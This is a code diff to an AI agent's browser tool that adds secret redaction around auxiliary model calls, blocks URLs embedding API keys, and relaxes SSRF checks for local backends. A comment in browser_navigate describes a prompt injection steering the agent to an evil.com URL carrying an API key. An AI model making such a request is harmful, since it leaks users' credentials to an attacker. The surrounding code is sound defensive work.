Merge branch 'main' into rewbs/tool-use-charge-to-subscription
This commit is contained in:
@@ -238,6 +238,8 @@ _PROVIDER_REGISTRY: Dict[str, type] = {
|
||||
|
||||
_cached_cloud_provider: Optional[CloudBrowserProvider] = None
|
||||
_cloud_provider_resolved = False
|
||||
_allow_private_urls_resolved = False
|
||||
_cached_allow_private_urls: Optional[bool] = None
|
||||
|
||||
|
||||
def _get_cloud_provider() -> Optional[CloudBrowserProvider]:
|
||||
@@ -299,6 +301,44 @@ def _is_local_mode() -> bool:
|
||||
return _get_cloud_provider() is None
|
||||
|
||||
|
||||
def _is_local_backend() -> bool:
|
||||
"""Return True when the browser runs locally (no cloud provider).
|
||||
|
||||
SSRF protection is only meaningful for cloud backends (Browserbase,
|
||||
BrowserUse) where the agent could reach internal resources on a remote
|
||||
machine. For local backends — Camofox, or the built-in headless
|
||||
Chromium without a cloud provider — the user already has full terminal
|
||||
and network access on the same machine, so the check adds no security
|
||||
value.
|
||||
"""
|
||||
return _is_camofox_mode() or _get_cloud_provider() is None
|
||||
|
||||
|
||||
def _allow_private_urls() -> bool:
|
||||
"""Return whether the browser is allowed to navigate to private/internal addresses.
|
||||
|
||||
Reads ``config["browser"]["allow_private_urls"]`` once and caches the result
|
||||
for the process lifetime. Defaults to ``False`` (SSRF protection active).
|
||||
"""
|
||||
global _cached_allow_private_urls, _allow_private_urls_resolved
|
||||
if _allow_private_urls_resolved:
|
||||
return _cached_allow_private_urls
|
||||
|
||||
_allow_private_urls_resolved = True
|
||||
_cached_allow_private_urls = False # safe default
|
||||
try:
|
||||
hermes_home = Path(os.environ.get("HERMES_HOME", Path.home() / ".hermes"))
|
||||
config_path = hermes_home / "config.yaml"
|
||||
if config_path.exists():
|
||||
import yaml
|
||||
with open(config_path) as f:
|
||||
cfg = yaml.safe_load(f) or {}
|
||||
_cached_allow_private_urls = bool(cfg.get("browser", {}).get("allow_private_urls"))
|
||||
except Exception as e:
|
||||
logger.debug("Could not read allow_private_urls from config: %s", e)
|
||||
return _cached_allow_private_urls
|
||||
|
||||
|
||||
def _socket_safe_tmpdir() -> str:
|
||||
"""Return a short temp directory path suitable for Unix domain sockets.
|
||||
|
||||
@@ -1024,6 +1064,13 @@ def _extract_relevant_content(
|
||||
f"Provide a concise summary focused on interactive elements and key content."
|
||||
)
|
||||
|
||||
# Redact secrets from snapshot before sending to auxiliary LLM.
|
||||
# Without this, a page displaying env vars or API keys would leak
|
||||
# secrets to the extraction model before run_agent.py's general
|
||||
# redaction layer ever sees the tool result.
|
||||
from agent.redact import redact_sensitive_text
|
||||
extraction_prompt = redact_sensitive_text(extraction_prompt)
|
||||
|
||||
try:
|
||||
call_kwargs = {
|
||||
"task": "web_extract",
|
||||
@@ -1035,7 +1082,9 @@ def _extract_relevant_content(
|
||||
if model:
|
||||
call_kwargs["model"] = model
|
||||
response = call_llm(**call_kwargs)
|
||||
return (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
|
||||
extracted = (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
|
||||
# Redact any secrets the auxiliary LLM may have echoed back.
|
||||
return redact_sensitive_text(extracted)
|
||||
except Exception:
|
||||
return _truncate_snapshot(snapshot_text)
|
||||
|
||||
@@ -1072,8 +1121,23 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
||||
Returns:
|
||||
JSON string with navigation result (includes stealth features info on first nav)
|
||||
"""
|
||||
# SSRF protection — block private/internal addresses before navigating
|
||||
if not _is_safe_url(url):
|
||||
# Secret exfiltration protection — block URLs that embed API keys or
|
||||
# tokens in query parameters. A prompt injection could trick the agent
|
||||
# into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
|
||||
from agent.redact import _PREFIX_RE
|
||||
if _PREFIX_RE.search(url):
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": "Blocked: URL contains what appears to be an API key or token. "
|
||||
"Secrets must not be sent in URLs.",
|
||||
})
|
||||
|
||||
# SSRF protection — block private/internal addresses before navigating.
|
||||
# Skipped for local backends (Camofox, headless Chromium without a cloud
|
||||
# provider) because the agent already has full local network access via
|
||||
# the terminal tool. Can also be opted out for cloud mode via
|
||||
# ``browser.allow_private_urls`` in config.
|
||||
if not _is_local_backend() and not _allow_private_urls() and not _is_safe_url(url):
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": "Blocked: URL targets a private or internal address",
|
||||
@@ -1115,7 +1179,8 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
||||
# Post-redirect SSRF check — if the browser followed a redirect to a
|
||||
# private/internal address, block the result so the model can't read
|
||||
# internal content via subsequent browser_snapshot calls.
|
||||
if final_url and final_url != url and not _is_safe_url(final_url):
|
||||
# Skipped for local backends (same rationale as the pre-nav check).
|
||||
if not _is_local_backend() and not _allow_private_urls() and final_url and final_url != url and not _is_safe_url(final_url):
|
||||
# Navigate away to a blank page to prevent snapshot leaks
|
||||
_run_browser_command(effective_task_id, "open", ["about:blank"], timeout=10)
|
||||
return json.dumps({
|
||||
@@ -1711,6 +1776,9 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str]
|
||||
response = call_llm(**call_kwargs)
|
||||
|
||||
analysis = (response.choices[0].message.content or "").strip()
|
||||
# Redact secrets the vision LLM may have read from the screenshot.
|
||||
from agent.redact import redact_sensitive_text
|
||||
analysis = redact_sensitive_text(analysis)
|
||||
response_data = {
|
||||
"success": True,
|
||||
"analysis": analysis or "Vision analysis returned no content.",
|
||||
|
||||
Reference in New Issue
Block a user